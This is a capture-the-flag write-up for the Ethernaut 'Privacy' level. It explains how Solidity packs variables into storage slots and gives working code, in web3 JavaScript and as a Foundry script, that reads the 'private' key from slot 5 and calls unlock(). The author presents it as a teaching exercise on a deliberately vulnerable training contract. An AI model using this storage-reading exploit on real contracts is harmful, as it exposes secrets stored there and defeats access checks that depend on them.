# The Ethernaut CTF Solutions | 12 - Privacy

## Goals

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/12-privacy-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/12-privacy-requirements.webp)

## The Contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}
```

## The hack

Nothing complex in how to solve the challenge, we must retrieve the key and call the `unlock()` function to beat it. Fortunately, we don't have to deal with the super-advanced solidity algorithms!

Like in the previous [Vault level](https://blog.pedrojok.com/the-ethernaut-ctf-solutions-08-vault), we need a good understanding of how storage works in solidity, and how to access it. Only this time, we go a little further as this level introduces static-sized array type.

```solidity
function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }
```

We can see that the `_key` we are looking for must be equal to `bytes16(data[2])`. So how can we access `data[2]`?

Here is the storage:

```solidity
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
```

Since there is no inheritance, the storage starts at slot 0 with the `locked` variable and goes as follows:

| Slot | Variable | Type | Notes |
| --- | --- | --- | --- |
| 0 | `locked` | `bool` | `locked` takes 1 byte, but since the next value doesn't fit in the 31 bytes left, `locked` takes the whole slot (Not best practice!) |
| 1 | `ID` | `uint256` | `uint256` takes 32 bytes, so 1 full slot |
| 2 | `flattening`, `denomination`, `awkwardness` | `uint8`, `uint8`, `uint16` | Respectively 1 byte + 1 byte + 2 bytes, so solidity packs these together into a single slot. |
| 3 | `data[0]` | `bytes32` | Static arrays start a new storage slot, each `bytes32` element taking one full slot. |
| 4 | `data[1]` | `bytes32` |  |
| 5 | `data[2]` | `bytes32` | This is the slot containing `data[2]`. |

With this detailed storage layout, we can see that `data[2]` is stored in slot 5. We can now move to the solution.

## Solution

We have to read the storage at slot 5 to get the value of `data[2]`.

### With JavaScript in the browser's console:

We can do this by calling the `web3.eth.getStorageAt` function.

```javascript
// Read the storage at slot 5
const contents1 = await web3.eth.getStorageAt(instance, 5);
// Format the key to bytes16
const key = contents1.substring(0, 34);
```

Then we can call the `unlock` function with the value we got from the storage.

```javascript
await contract.unlock(key);
```

### With Foundry using `forge`:

You can also achieve the same with Foundry by using the `vm.load` function. Let's write our script accordingly:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";

interface IPrivacy {
    function locked() external view returns (bool);
    function unlock(bytes16 _key) external;
}

contract PoC is Script {
    // Replace with your Privacy instance
    address private immutable privacy =
        0x8872CAE2EB50a5C77B4B0b323F0071DbAbD19025; 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        bytes32 key = vm.load(privacy, bytes32(uint256(5)));
        IPrivacy(privacy).unlock(bytes16(key));

        console2.log(
            "This should be unlocked by now, right?",
            IPrivacy(privacy).locked()
        );

        vm.stopBroadcast();
    }
}
```

To run the script:

```bash
forge script script/12_Privacy.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713415839663/827068b8-eb69-44ef-815d-ebbdbdb50c54.png align="left")

Done.

**🎉 Level completed 🎉**

## Takeaway

* Again, nothing is private on-chain. Everything is public and can be read by anyone.
    
* Organize your storage to save space and gas.
    

## References

* Private data: [https://solidity-by-example.org/hacks/accessing-private-data/](https://solidity-by-example.org/hacks/accessing-private-data/)
    
* EVM storage: [https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/](https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/)
    
* Storage layout: [https://docs.soliditylang.org/en/latest/internals/layout\_in\_storage.html](https://docs.soliditylang.org/en/latest/internals/layout_in_storage.html)
    

---

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
